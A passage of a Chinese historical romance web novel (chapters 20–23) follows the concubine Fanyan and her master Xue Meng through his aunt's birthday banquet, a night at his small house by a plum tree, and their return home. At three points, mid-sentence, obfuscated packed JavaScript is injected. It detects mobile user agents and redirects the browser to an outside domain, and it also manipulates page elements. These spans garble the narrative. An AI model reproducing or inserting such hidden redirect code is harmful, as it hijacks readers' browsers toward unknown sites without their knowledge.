歆荣慌忙敛色，握住她的手赔不是：“好妹妹，我若有半分轻贱你的心，天打五雷轰！”话音未落，便被梵烟捂了嘴：“何苦来哉？我最听不得人立毒誓。情谊真时，固然舍不得；情谊假时，更是枉费心。” 歆荣极知她敏感多思，真为自己的玩笑话入了心伤了情，实在不值，切切道：“我是遇不着檀郎了，不然往后但凡同一个男子走得近些，也任你揶揄我可好？” 梵烟不信：“你又说怪话。当真冒天下之大不韪、起那朝秦暮楚的念头，我只有替你百般遮掩的，还敢宣之于口？” 这话不知怎么又合了歆荣的意，居然转忧为喜：“就这么说定了，你既有我的把柄，只管放心，我再也不胡言乱语。” 20. 二十 梵烟暗想：她从前在家就总有惊世骇俗之言，如今成了夫人，再无长辈约束，越发不着调了，姑且由得她去。 当下也无话可回，拾起账目接着看。 歆荣偏来献殷勤：“中晌咱们一道吃饭。让厨房用酥酪煮些蓣菌、鸡脯、玉蜀黍，配着烤胡饼，正可暖腹御寒。” 梵烟本不欲理她，听着又忍不住：“这是什么吃法？简直闻所未闻——快别糟践粮食了。” “好吃着呢。”歆荣一味撺掇：“你尝尝就知道了。”一通插科打诨，好歹哄得梵烟转圜过来才作罢。 末了到底吃了这番邦奶羹并胡饼，滋味竟不坏，身上也热烘烘的。梵烟回到房，一鼓作气绣完了画，小心自架子上取下来，叠了两叠，放置在锦盒里，让十锦交到前院去。 因青玉条盆里的水仙全开了，嘱咐十锦顺带报喜，俄而又说：“罢了，别提这个。只将盒子给澜序手里是正经。”十锦纵不解，仍满口答应地去了。 九莺年纪略长，看出门道来，抿着嘴儿笑：“说与不说，一时都要来的。” 梵烟被点破心事，作势要拍她，九莺一头躲，一头道：“这些天一坐就是大半日，很该这么跑几步。” 梵烟听她如此贴心，少不得放过她，倚着落地罩，睨她一眼作数。 这头澜序收了绣件儿，依薛盟所说，与十锦一只红封、一小包波斯糖，返来忙揭开锦盒给薛盟过目，口中赞道：“从前单知道''栩栩如生''这个词，今日才明白''栩栩如生''是什么意思。” 薛盟听着与有荣焉，捧着细赏一回，信口打发澜序下去，想一想，干脆扫开桌上一应杂物，再净一回手，珍而重之地将绢帛取出，徐徐展开，大理石台面上活像凭空凿出一汪清泉来，里面翠盖微颤、菡萏轻摆，一行鹭鸶不懂惜花，自顾自振翅嬉戏。 连叹几声，薛盟回过神，心想：姑妈家两位表兄并无举业之意，这般图样搁在他们家里，不过寻常摆设而已，倒不如我自留下，能够时常品鉴。 主意打定，复唤澜序：“将先前宫里赏的那一对白玉如意请出来，我记得有一个缂丝蝠桃盒子，装着正合适。廿五一早你自己捧到车上安放好，别交给旁人磕着碰着。”澜序一迭声应下。 二十五日一大早，梵烟穿了一身银红妆缎袄儿、绿地缠枝牡丹裙，外头罩着玉色绸面白狐里的鹤氅，戴着卧兔儿，出门来迎头碰上纤纤。 纤纤将她上下打量一通，便笑：“妹妹难得穿这般娇艳衣裳。” 梵烟答了个“是”，“大节底下，再图省事也不能折了夫人的脸面。” 纤纤说：“这话明白。”一面同往正院走，一面给梵烟看自己的靛蓝哆啰绒褂子：“我这一件也是夫人赏的，上身果然既暖又轻，亏得我原有一条织金的白裙儿，否则竟找不出堪配它的。” 说话间到了歆荣房前，见里头灯火明亮，知晓歆荣已起来了，二人先后跨进屋里问安。 歆荣忙让免礼，说：“今儿天灰蒙蒙的，怕是又要下雪。你们来得忒早，快喝些汤暖暖身子。”七巧便用小茶盘捧了两盏建莲红枣汤来，呈给二人。 梵烟见歆荣仍捧着册子看，因问：“夫人还没忙完呢？” “这个却不是，等旦日过后再说。”歆荣因纤纤在场，一带而过。侧首看了眼西洋钟，嘱咐梵烟：“去了多替我向表嫂小姑们带好，正月里咱们家请酒时，我若认不得人，只赖在你头上。” 纤纤这才听出端倪，满心不敢置信，压下异样神情，试探着向梵烟道：“妹妹这是要出门？” 歆荣替梵烟答了：“姑母过寿，我实抽不开身，派她去应个景儿。你这会儿也别想闲着，来帮我看看送公主府的这些物什…” 纤纤被她绊住了，只得看着梵烟告辞出门，扬长而去。 外头马车已套好了，梵烟拢了拢鹤氅，微感寒风刺骨，不禁问跟车的澜序：“家主仍是骑马？” 澜序笑而不答，只管伺候着她登上车。梵烟好生奇怪，进了车厢，方见薛盟就坐在里头，险些进退不是，顿了一瞬，默然择了角落安坐。 薛盟本是谋定而动，捧着卷书用功，目光坦然落在梵烟身上时，脑子里那套说辞却刹那间烟消云散了，启了启唇，最终只将自己手旁的小珐琅炉递出去：“你怎么不坐近些，想是嫌我占了你的地盘儿？” 梵烟如今与他相处渐久，深谙他原与歆荣是一个脾性，干脆不辩解一句，欠身接了手炉，趁势挪过去了些。 薛盟遂愿，假意接着读书，书页上的字莫名游曳起来，朦胧间幻化成一抹银红。 一片静寂里，连纸张翻动的声音也不闻。梵烟垂眸端坐，身上的鹤氅仿佛太厚，手里的珐琅胎又仿佛太薄，有意分神去听街上的喧闹人声，终归听不大真切。 薛姑母的宅邸在城东，马车辘辘行了小半个时辰，方到大门前。门子早得了信儿在外候着，一时上前殷勤见礼问好，牵马停车。 薛盟先下了地，回身向厢内伸出手，梵烟打起车帘，略一踟蹰，指尖隔着袖口轻搭在他腕上，借力下来。 抬眼见大门上挂着“汪宅”，便是姑母夫家姓氏。 里面两进院落，几个管事女人满面笑容地引二人一路往正厅去。 正厅内语笑喧阗，闻说侄少爷到了，方次第静下来。但见当中一位身穿荔色卍字团花缎对襟褂子的华发老夫人独坐上首，左右侍立着两位杏粉裉袄儿的年轻媳妇，齐声笑道：“可算盼来了！” 梵烟跟着薛盟，屈膝跪在拜褥上，叩首祝寿，薛姑母连忙让起身，先将薛盟上下端详一通，含笑点头：“果然成了家大不一样，比原先更结实了，也沉稳了。” 又拉梵烟来自己跟前：“那一回我见着这孩子，心里就想，贺学士府究竟是何等福地洞天，万里挑不出一个的神仙人物，他们家竟有两个？一双眼睛简直看不过来。今儿赶巧了，再让我细瞧瞧。” 梵烟低眉笑道：“姑太太谬赞了。原是托两家长辈的洪福，才叫我有今日造化。” 先前两个年轻媳妇里便有一个窈窕些的“唉哟哟”起来，凑趣拐了妯娌一下：“母亲眼里再没有我们了。” 薛姑母嗔她：“我素日里还不疼你？”因向梵烟引荐：“这是你大表嫂。” 梵烟依言向她见礼过，复向另一略丰腴的蹲福：“二表嫂。”二人跟着还礼。 随即薛姑母便让梵烟挨着她坐在榻上，梵烟不肯，一意婉辞，二表嫂武氏说：“你原是客，只管安坐。”大表嫂文氏亦附和：“弟妹别拘礼。母亲一贯最疼小辈，我们这等灰头土脸的尚且如此，何况弟妹？爱还爱不过来呢！”说得满堂皆笑。 梵烟这才坐了。薛盟亦被让至东面第一张搭着崭新坐褥的圈椅落座。两个鬟儿捧着甜白炖盅上前，分奉给二人。 薛盟因笑：“席还没开，咱们先吃上小灶了。” 薛姑母说：“我还不晓得你们这些年轻人？菜色未齐，酒已闹过好几巡了。况且姑母这里的席实没什么可吃的。只这酸笋老鸭汤，你早年常喝的，权当垫垫肚子，一时灌烧刀子也不妨。”说着亲端了一盏与梵烟。 梵烟忙双手接了，薛姑母怜惜地看着她，感叹道：“年轻女孩儿总不免有些单薄。多喝些暖暖胃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16229015|179447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，一路坐车也怪难受的。” 复转向薛盟：“路上还好走？这一带长年车来车往，青石板路倒轧碎了不少。我说让你大表兄从监里调几个杂役来修一修，不过请顿餐饭谢几个银钱的小事，偏他抹不开脸，推说要过年了，不好这个时候劳烦人家。” 薛盟道：“这原是大表兄仁厚周到之处。我那儿正有一班泥瓦匠，这会儿就叫他们来。”便让澜序回去传话。 薛姑母连说：“如何使得。” “自家人用着趁手，说话就到了。”薛盟饮了口汤，搁下勺子：“铺路修桥也是积德的事儿，岂不比他们闲着吃酒赌钱输了强？” 薛姑母听了，忙叫管事女人将家里小厮都派去帮衬，女人去而复返，报说：“大姑娘来了。” 大姑娘乃是薛姑母幺女汪媃，而今正值碧玉年华。梵烟抬首望去，就见一位静水照花似的闺阁小姐亭亭而至，梳着垂鬟，穿着雨过天青遍绣玉兰袄裙，在满室浅红深绛里，清新得宛如玉净瓶里的一支新柳。 “女儿伏祝母亲福寿康宁——愿松鹤延龄，萱堂春永。兰桂盈庭，天伦长聚。”汪媃拜过寿，从身后侍女手捧的仙鹤衔芝匣里取出一卷百寿图来，奉到薛姑母跟前：“娘知道我女红慢，才刚绣成，所以来晚了，还请娘不要见怪。” 薛姑母一时乐得合不拢嘴，话里埋怨，话外尽是骄傲：“你这孩子…得亏今日来的都是自家亲戚，由着你闷在房里赶工，不来与大家说笑；且念着你有孝心便是好的，不然可是献丑了。” 梵烟从旁一瞧，赞道：“我不如姑太太眼光毒辣，只看出这百寿图不仅绣工极好，个个字体也颇具风骨，既承大家风范，亦含闺阁气度。千真万确挑不出一点儿不足来。”说罢，不禁朝薛盟看了一眼。 “你虽有心勉励她，但也太过了。”薛姑母对女儿道：“还不去见过你表兄。” 汪媃忙向薛盟一福，薛盟亦起身还揖。薛姑母又虚指着梵烟：“这是你小嫂嫂。”汪媃便依言称呼，彼此拉手厮见过。 一时丫鬟来回，花厅中酒席已备妥，请主客们移步。 薛姑母便对薛盟道：“一不留神倒将你绊久了。你快到前头去吧，我嘱咐过你两个表兄，不许狠灌你，旁人要来起哄，还须替你挡着些呢。” 薛盟只一笑：“姑妈别操心这个。”到外头与男客们应酬去了。 女眷们在花厅安席，少不得一番你谦我让，最终仍奉薛姑母在最上一张弥勒榻，左侧略下为梵烟，右侧再下为汪媃，随后是汪家姊妹妯娌等，文氏、武氏张罗着劝酒娱亲，仅在末席虚设座位。 梵烟待了一阵，依稀看出这位姑太太虽和蔼，秉性最是好强，尤其不肯在夫家稍落于人后。这些亲眷们，也有真心艳羡她与皇室攀了姻亲的，也有嫉恨不服暗暗较劲儿的。自己身为晚辈，恭谨守礼固然是应当的，却也不宜过分谦卑，反使薛家短了气势。 故此凡有谁来她这儿探话，可圆融应对的皆圆融过去了，绵里藏针的也只好轻飘飘地敲打回去。场面上一团热闹和气，心里暗觉得疲惫乏味。 宴罢又开台听戏，梵烟借口更衣，出来透气。无意走近一小小抱厦厅，两株石榴树掩门，里面一无长物，倒是个躲懒的好地方。 梵烟饮了两杯酒，正觉得发热，没披鹤氅，也不嫌屋里冰冷，才要跨进门，远远瞥得薛盟由一人搀着，踉踉跄跄从前头过来，像是醉得很了。 梵烟心想：既喝成这样，何不就近择个地方歇歇？非要勉强挪动他。脚下不觉迎过去几步，那边薛盟忽然站直了，冲搀他的人拱手说了两句话，自昂首阔步地走过来。 21. 二十一 梵烟观他步履稳健，目光清明，哪有半分醉态？方才那副样子，竟是装出来的。心下好笑，一时忘了避开，旋即就被薛盟抓了个正着。 “怎么独自在此？衣裳也不加一件。”薛盟几步到了近前，目光在她微醺的脸上一扫，率先蹙眉。 梵烟自觉理亏，小声道：“我也是出来躲清闲的，穿了鹤氅不是惹人生疑？” 一个“也”字出口，薛盟不禁唇角微勾：“这倒是。”看了看她身后那抱厦：“这地方清净归清净，寒气太重了些，不宜久待。不如随我走走？” 梵烟想了想，轻轻点头，两人一前一后，沿着抄手游廊往外走。 薛盟因她并不问去哪里，眼底闪过一丝满意，存心快走两步，果然听见后面细细脚步声急促起来，蓦然又停住，转回身时，并未得她撞入怀中，只得微嗔一睨。 薛盟被这一眼看得蠢蠢欲动，险些记不起要往哪边行，半晌赔笑道：“方才酒气上涌，姑娘勿恼。” 许久不用的旧称出口，二人俱是一怔，各自感慨万千。 梵烟按捺片刻，究竟忍不住，问：“今日能来向姑太太拜寿，固然是夫人抬举我——家主呢，不怕冷落了纤纤？” 薛盟绝知瞒不过一辈子，索性承认：“我从来不怕。” 梵烟听了，低头不语。 一时薛姑母身边丫鬟来找，见着二人，忙道：“老太太正急呢。二位快请随奴婢回去吧。” 薛盟无法，只得先同梵烟过去。 台子上戏正热闹，鼓点敲得急促，薛姑母却另于偏厅暖阁内坐着，见两人返来，总算松了一口气：“我这儿虽不怕你们迷了路，万一吹了风受了寒也不好。” 见梵烟鼻尖微红，薛姑母便向侄子道：“必是你非拉着人乱逛，瞧把脸儿都冻着了。” 薛盟也不辩解，顺着她的话道：“累姑妈挂心了，戏也不曾好生看。” 薛姑母一笑：“不过是上寿的老套曲目而已。你们自然更不耐烦听。”招招手，示意丫鬟取来一盒儿面脂，递与梵烟：“这是媃儿素日用的，将就搽搽，省得真叫风吹皴了，再烤火取暖，也要疼上好一阵呢。” 梵烟料得他们姑侄有话要说，接了盒子，起身让丫鬟领着去间壁，拿热水洗了脸，对着镜重新理妆。 这边薛姑母收回目光，犹夸：“这孩子当真难得，模样标致，行事也得体大方。怪道你来我这儿，还特意带着。” 薛盟唇角有些压不住上扬，徐徐饮了两口热茶，方说：“正因她在家向来稳妥，夫人才指派她来，姑妈怎么说得像全是我的私心一般？” “你还跟我装样！”薛姑母笑骂一句，接着道：“如今你家宅谐宁，我纵使即刻下去见哥哥，也能有交代了。唯独媃儿的终身还没着落…” “大好的日子，姑妈偏不忌讳！再是福泽绵长不妨碍的，也不该叫我们小辈胆战心惊。”薛盟拦住了她的话头，对她这一段心事也知道几分。 姑父在世时，在国子监谋了个掌馔的差事，虽不入流，但管着一众师生的膳食，算个有油水的位置。 后来大表哥继承衣钵，亦入国子监供职，且因略通文墨，担的是典吏一职，听着更清贵些，实惠上却差得多了。他又不善交际，搭不着真正文人雅士的边儿，现今两头不靠。二表兄更不必提。 “姑妈的意思我明白。眼下朝中正是选贤举能的时候，明春又开闱场，各地俊杰云集，届时我来牵头，邀些脾性相投的青年士子，诗酒相会，二位表兄同来掌眼，不愁没有雀屏之选。” 薛姑母连连点头：“你两个表兄不抵用，亲妹子的大事偏劳你操心。诗酒相会，结交青年才俊，对他二人确是难得的机缘。只是…” 她面带忧愁：“我只媃儿一个女儿，舍不得她远嫁——这些举人老爷于我们家而言自是高攀，但一朝跃过龙门，泰半都是要外放历练的，岂不是多年都不能再见？便是留在京里，入了翰林，一级一级往上熬，娘家帮衬不上，日子照样清苦。” 薛盟听明白了：“姑妈想是已有了人选，不知我搭不搭得上话？” “你自然搭得上！”薛姑母脱口而出，意识到自己略显急切，忙缓了缓，压低声音：“我听说太子正议亲呢。” 薛盟拧眉笑起来：“姑妈的消息倒灵通。” 不待薛姑母再说下去，他接着道：“侄儿不妨给您透个底，宫里的意思，是从几家功臣之后里头挑。” 薛姑母当然也打听到了：“我怎敢指望汪家出个正妃？不过依媃儿的容貌、性情、才德，总能做个末等姬妾吧。” “表妹的品貌确实出众。可宫中女眷最初的一层倚仗，仍是父兄。”薛盟琢磨一时：“不如这么着，先将诗会办起来，若有中意的最好；若果真没有，表兄们也不至全无收获，好歹混几分见面情，到那时，我再伺机向太子殿下进言。” 此事无论如何都须仰仗他施行，薛姑母哪能有异议？一口应下。少时外头脚步声响起，梵烟回来了，三人便说起别的。 话间外头复洋洋洒洒落了一地雪，轻软厚密，极类未经染色的羊绒毯。 薛盟坐到此时，委实百无聊赖，自觉尽了亲戚情份，携着梵烟告辞。薛姑母百般挽留不成，忖度着他们小儿女应有安排，不再强求，攒了一大盒子寿桃果点，专与澜序等人，千叮咛万嘱咐路上仔细。 文氏、武氏妯娌等送出二门，两位表兄复送至门前，看着人赶了马车来，薛盟护着梵烟进了车厢，又被众人拥着上去，这才挥了挥手：“外头冷，快回去吧！” 踅身再对梵烟说：“等转过这条大街，咱们自己下来走走。” 梵烟本靠着厢壁阖目养神，闻言睁开眼睛：“为何？” “我在前边不远有几间屋子，屋前的梅花该开了，且去瞧瞧。” 薛盟所言非虚，这里的“几间屋子”确实只有三间半：一间做正房，一间做书房，一间给看屋的老夫妇住，余下半间烧水做饭。 “薛大人？怎么这时辰来了？”应门的老翁后背已经有些佝偻了，急急忙忙之下不免有些瑟缩相，一面让老妻沏茶烧饭，一面解下腰间的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16229016|179447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钥匙开正房：“屋子都是干净的，时常打扫着，这两日刮风下雪，方才上了锁…” 薛盟说“不急”，“我们从姑妈家吃酒路过，有些惦记这梅花，并不为来查你的哨。” 老翁仿佛含混骂了声，薛盟只作未觉，冲梵烟一招手，指着那树红梅让她看：“这一支姿态好看，花儿又密，折回去给你插瓶吧。” 说着也不消旁人，亲自动手，那梅树不高，于他而言着实是手到擒来，但闻几声轻响，尺余高的梅枝便递到了梵烟面前。 恰好那老妇人端了两杯茶从灶间出来，仰脸一看，忙说：“大人仔细划了手。快到屋里取取暖，我去给大人寻个花瓶。” 薛盟说：“不必忙活。屋子里东西都齐全，你们只管自便。” 进了屋，果然洁净清爽。薰炉新生起来，寒意还未驱尽，围炉对坐的温馨之感更重了。 薛盟揭了茶盖一瞧，招呼梵烟：“来尝尝这茶，与咱们平时的不一样，这时辰喝也不怕走困。” 梵烟正看那梅花，闻言方过来，见盖钟里满满浮着玫瑰、木樨、枣儿、核桃仁、芝麻等物，居然找不着茶叶在哪里，略一嗅，倒是甜香扑鼻。 她在歆荣那儿试过的奇怪东西也多了，并不少见多怪，抿了一口，莞尔：“佐料虽杂，口味儿意外融洽，好喝的。” 薛盟见她喜欢，跟着足意：“老葛头的家乡习俗，我从前也常喝，冬日里上朝早，别的吃食一概没胃口，单饮些这个还不错。” 梵烟一想，这地方离东华门是近，难怪沿途房舍多挂着官宦人家的匾额——只是这儿太窄浅些，倒不像他一贯的作派。 薛盟看穿她心中所想，笑道：“早年囊中羞涩，就这三间半房子，尚是一个要外放的小官儿急着出手，才叫我碰巧典了来。” 梵烟听着里面有隐情，一时不知该不该接话。 薛盟倒没甚可藏着掖着的：“我十岁搬出公主府，手头除了玻璃弹珠，便是弓弩长枪，正经金银锞子都没几个。又不便自己进当铺子，让澜序暗地里找了个中人，抵了两幅画儿，才算有了本钱。幸亏后头生意做上了道，又靠着好亲戚有了官身，把画又赎回来了，否则竟成了败家子。” 回想起曾经刘郎君、张郎君等事，梵烟唯有默然——自己四五岁被卖作奴婢，旁人听着自是酸辛，可在贺府的十来年，连一句重话都没得过，更不用说责打。歆荣待自己，的确做到了亲如姐妹。 他这尊荣豪阔的天子外甥、东宫赞善，谁曾想会有一段孤凄过往？ 薛盟见她面有恻然，倒出乎他的本意：“扯这些做什么？我原想告诉你，这葛婆婆手艺最好。要不是人家并没签死契与我，又有了年纪，倒要把他们接到家里，专掌羹汤——咱们索性在这里住一晚，明儿你想吃什么，叫她做与我们吃了再走。” 梵烟兀自沉浸在方才的感怀中，对此提议并不警觉：“姑太太那里的老鸭汤倒好，只我不爱吃酸的，若能做些温敦敦的就更好了。” 薛盟见她形容，笑意更深：“好，说定了。” 22. 二十二 及至薛盟吩咐澜序去府上报信儿时，梵烟方才后知后觉，自己究竟答应了什么。 料想薛盟分明早有预谋，她若是扭捏作态，越发落在他的圈套里。不如自己反客为主，安排在先。 于是如常笑问：“这里没有大熏笼，睡不得人，我给家主铺好床，便在外间守夜。” 薛盟听了，正色劝道：“我这地方简陋，不比家里，随意歇在哪里都暖和，受了寒作下病可不轻巧——床榻虽不甚宽敞，厚被总是够的。你我各拥一衾，大可泾渭分明，互不相干。” “梵烟，”他唤她的名字，目光坦然清正，“我若有意唐突，何处不可？高床软枕不好受用，偏来这苦寒斗室？” 一番话恳切却露骨，梵烟不由红了脸，未及答言，他又叹息一声：“你实在不放心我，且请在床上安置，我与他们老两口凑合一夜反倒无妨。” “这成什么道理？”梵烟忙道，“…我若不放心，也只不放心家主歇息不好而已。再者那两位老人多半该睡下了，平白扰人清梦做甚？也叫人无端端生疑…” “生疑？疑什么？”薛盟却不知见好即收，非要逗她。 赚得梵烟斜乜他一眼：“我自没有忘记自己的身份，同榻而眠…原是应当。只是家主，也别忘记才刚允诺我的话。” 说罢，也不顾薛盟窃喜，自己走到床前，俯身将两条锦被分好，恨不能隔出一条楚河汉界来，动作麻利，耳根则烫得无法自欺欺人，所幸灯火阑珊，大约看不真切。 薛盟走上前来，吹了灯，轻声说：“你睡里头吧。” 满室只剩下薰炉里一点暗红的火芯，隔着水墨床帐岿然不动。二人并排躺在并不宽大的床榻里，感知到的界限比眼见更切实。 彼此的呼吸声清晰可闻，起初徐起徐伏分明，渐渐不知怎的纠缠住了，次第紊乱起来，透出一种静极的尴尬。 还是薛盟先开了口：“冷不冷？” “…不冷。”梵烟轻声答道，顿了顿，诚实地补充：“被子里有股太阳的味道，很亲切。” “想是白日才晒过。”薛盟微哑的声音里多了分笑意：“这时候又不嫌老胳膊老腿动弹不便了。” “老人家念旧。守在这小院儿里，还比高门大户里舒坦。”梵烟接了话，似觉不够妥当：“单院子里那株红梅，就让人舍不下。” “这话不假。”薛盟忆起一件轶事：“那树原开不出这许多花，我小时候有一回舞剑，一气儿把枝头连花带骨朵全削没了，气得老葛头要拿烧火棍同我拼命，结果转年树上反而开得更繁密了，老葛头这才没话说。” 梵烟听罢，握着嘴“嗤嗤”直笑，半晌才发觉他的眼神仍停留在自己脸上，不禁欲打岔：“唉，那一瓶梅枝放哪儿了，您替我瞧瞧。” 薛盟不为所动：“桌子上好好搁着呢，还能跑了不成？” “万一少了几瓣花儿呢？” “少了也是它自己掉下来的，难不成还赖我？” 梵烟无奈，自己要转身朝向床里，薛盟又拦住了：“唉，不怄你了，你别不理我。” 这话又太积黏。梵烟仍平卧着，眼睛望着床顶：“家主如今贵庚？还要人哄睡吗？” 她说话越放肆，薛盟心里越高兴。“家主”二字再不是有意疏离的称谓，时时透着的一种无迹可查的亲昵。 他说：“不是我须得人哄，本是你从前答应我又失信，正该弥补呢。” “谁答应来着？”梵烟脱口而出：“分明是你仗势欺人。” “好好好，是我的不是。”薛盟全不反驳：“我在书房养伤的时候，就盼着你常来。” 这话落在梵烟耳畔，不啻平地惊雷。他大可以不说的，无论有心无心，横竖她如今已做了他的房里人，更改不得。他多说这一句，无非坐实了，碍于长公主情面是假，算得她早早入彀是真。 也怪她，在汪家略吃了两杯酒，居然径直问到他面前。 薛盟听她沉默，心下涩然：“我今儿昏了头，总是胡说…” “往后别再…” 两人一同开口，复一同止住，须臾，薛盟答道：“好，我再不欺瞒你了。” 梵烟“嗯”了声，纵无倦意，依然阖上眼，专心入眠。 桌上红梅绚烂依旧，炉中炭火最终燃尽了，悄无声息地逸出一缕轻烟。 次日醒来，遍身暖惬，却有被箍住之感。梵烟讶然张眼，自己居然靠在薛盟怀里，他身上的被衾也匀了一半过来。 她轻微一动，薛盟立即醒来，再不敢说假话：“半夜又下了许久雪，我怕你冷，才将你揽过来的，你并没抗拒。” 这话是说，已征得她的首肯了。 梵烟暗觉好笑。其实这一夜睡得浅，周遭气息迥异于西跨院，梦里也不难察觉——这里是薛盟的领地，不管他是否常来。 便借着拢头发的动作，欠身坐起来，只问：“什么时辰了？外头好亮。” “还不晚呢。是雪光映在窗上的。”薛盟跟着下床：“你不熟悉这里，我来替你张罗。” 先披上大衣裳，将门推开一条缝，旋即提了一壶热水进来，供梵烟洗脸。再自屉子里挑出一套巾栉并牙具等物备好，开了镜奁，说：“澜序倒带了两套衣服来换，头面首饰却漏了。你将就戴昨儿的罢？” 梵烟洗漱过，走过来笑道：“我是何等的贵客，金簪珠钏只戴一回便该扔了？”薛盟亦忍俊不禁起来。 复站在近旁，看她如何妆扮。既没有脂粉，索性作罢；用他旧日使的檀木梳，梳顺了一把青丝，因为没有九莺她们搭手，挽了个最简单的圆髻，两支簪子别住，余下的首饰皆收起来不用。 又戴耳坠，眼睛从镜子对上薛盟的灼灼目光，立刻半垂下眼皮儿：“你怎么不洗漱去，看着我做什么？” 薛盟漫然应着：“这就去。”脚下却不动：“一时劳你也替我梳头？” 梵烟搁下梳子：“叫澜序来不更好？我没梳过男人的发式。” “他梳不好。”薛盟张口就来：“你看他自己头上毛毛躁躁的，就知道了。我这头发只须挽住，戴上冠子便行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16229017|179447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。一会儿咱们径直回去，并不见外客，有什么要紧？不然我就只能披头散发出门了。” 这话说得自相矛盾，又可怜无比。梵烟若敢拒绝，竟是太不近人情了。唯有请他坐下，再执起木梳，一下下替他理顺。 他的头发硬，不像她的柔顺服帖，尾梢甚至近于扎手，少时束上顶，没准儿也会毛毛躁躁，该拿头油抿一抿才好，不巧这里没有… 正专心致志，余光扫见他仍眼也不眨地盯住自己看。梵烟心下微恼，真想让他把眼睛闭上，惜乎绞尽脑汁也没想出个合情合理的由头，暂且不了了之。 勉强盘出个雏形，已是尽力而为了，罩上玉冠，兴许还使得。梵烟正欲取来，冷不防一只手被薛盟捉住了。 她心中狂跳，想问他做什么，喉咙里却一丝声音也发不出，胳膊亦不由使唤，抽不回来。 薛盟同样不开口。浑忘了自己下一步打算如何，单是这么长久对峙下去竟也不坏。 不知过了多久，梵烟找回自己的嗓音，细若蚊呐：“再不放手，你的发髻真要散了。” 薛盟如梦初醒，犹不松开她，自己单手摸索来小冠，戴在髻上，说：“你那只手把簪子插进去就是。” 梵烟竟肯依他，簪好头发。闲着的两只手仍闲着，紧握在一处。 这一厢情意暗生，那一厢澜序饿着肚子，在灶间外头杌子上干坐。眼看老两口早饭做得了，老婆婆要去请，不得不婉言挡下，自己硬着头皮出面，先把脚步放重些，又在阶上踢踢踏踏一阵。 果不其然，少顷薛盟开了窗，斥道：“哪来的野马没钉掌？”澜序这才涎皮赖脸上去回话：“爷，早饭已备好了。我给您送进去？” 屋里人说了句什么，薛盟便低头去，与之喁喁私语一阵，复转向澜序：“我们出来吃。” 原来梵烟悄向薛盟道：“有现成的，就吃些吧。这早晚让他们杀鸭炖汤，又吃得了几口？害人家老天拔地忙活半日，不如回去，再要什么不便？” 于是就在挨着梅树的石桌前坐，椅子上垫了毡褥，温粥的盄子亦置在近旁，并不寒冷。老葛头熬了稠厚的杂果儿粥，风鸡、糟鱼、獐子、鹿肉等切了几大盘子，现做的银鱼摊黄花、煎肉圆、蓑衣饼，倒也丰盛。 众人吃过饭，薛盟又留了两个人与老夫妇打扫收拾，便与梵烟登车回薛府去。 梵烟尚捧着那瓶梅花，回到内院，九莺迎上来，仗着薛盟不在，冲她挤眉弄眼。 “外头风大，你不必出来接我，倒叫沙子迷了眼睛。”梵烟揶揄一句，放好了花瓶，再解氅衣。 十锦打开她随身的哆啰呢包袱，抖出昨日换下的那套衣裳，交去外面清洗。 九莺负责收拣头面，点好了数目原样放回奁中，一面笑：“夫人有时候也是成心——昨晚澜序去正院回话，说家主醉狠了，就在姑太太家宿一夜。她让澜序去前院打点衣裳，倒还安安静静的。偏咱们这儿派了七巧来，大张旗鼓的，生怕对面听不见。” 梵烟还未开口，外头传话：“夫人来了。” 23. 二十三 “呀，好艳的梅花！”歆荣进屋先赞一声，再拉住梵烟打量：“从哪儿摘来的？” 梵烟忙引她入座：“家主城东那房子里种的，年头深，颜色自然好。”亲执了茶壶，为她斟了一盏：“哟，这会儿还没沏茶。有卤子点一些？” 歆荣说不用，“我才吃过饭来的。有一桩好事儿告诉你。” 梵烟忙问：“什么好事儿？” “初二回爹娘家去。”歆荣眉飞色舞：“旦日过了再没要紧事情，这府里请客也得初三往后，咱们大可逍遥一整日。” 梵烟听了，喜得连声道好，二人又细细商议一阵，无非是怎样吃、怎样玩，闲情而已。 正说着，九莺领着个丫鬟进来：“吕姨娘命小厨房炖的枸杞菟丝子炖鹌鹑，特意分了咱们一盅。” 那丫头眼睛一溜，见歆荣亦在，忙上前行礼，复向梵烟道：“我们姨娘想着鹌鹑是温补气血的东西，这时节吃最适宜，才炖好就给贺姨娘送来了。” 歆荣笑道：“这是她待你的一片心，快收下吧。”梵烟应了，叫九莺塞给她一个小荷包。 丫鬟喜孜孜谢过，接了又一福，告退出去。 歆荣揭了那盖儿一瞧：“前几日长公主府里送来的，我知道你不吃这个，就只给她分了两笼，谁知兜兜转转，到底没落下你。” 梵烟蹙眉一笑：“这话说的，我若不喝，竟是不识抬举了。” 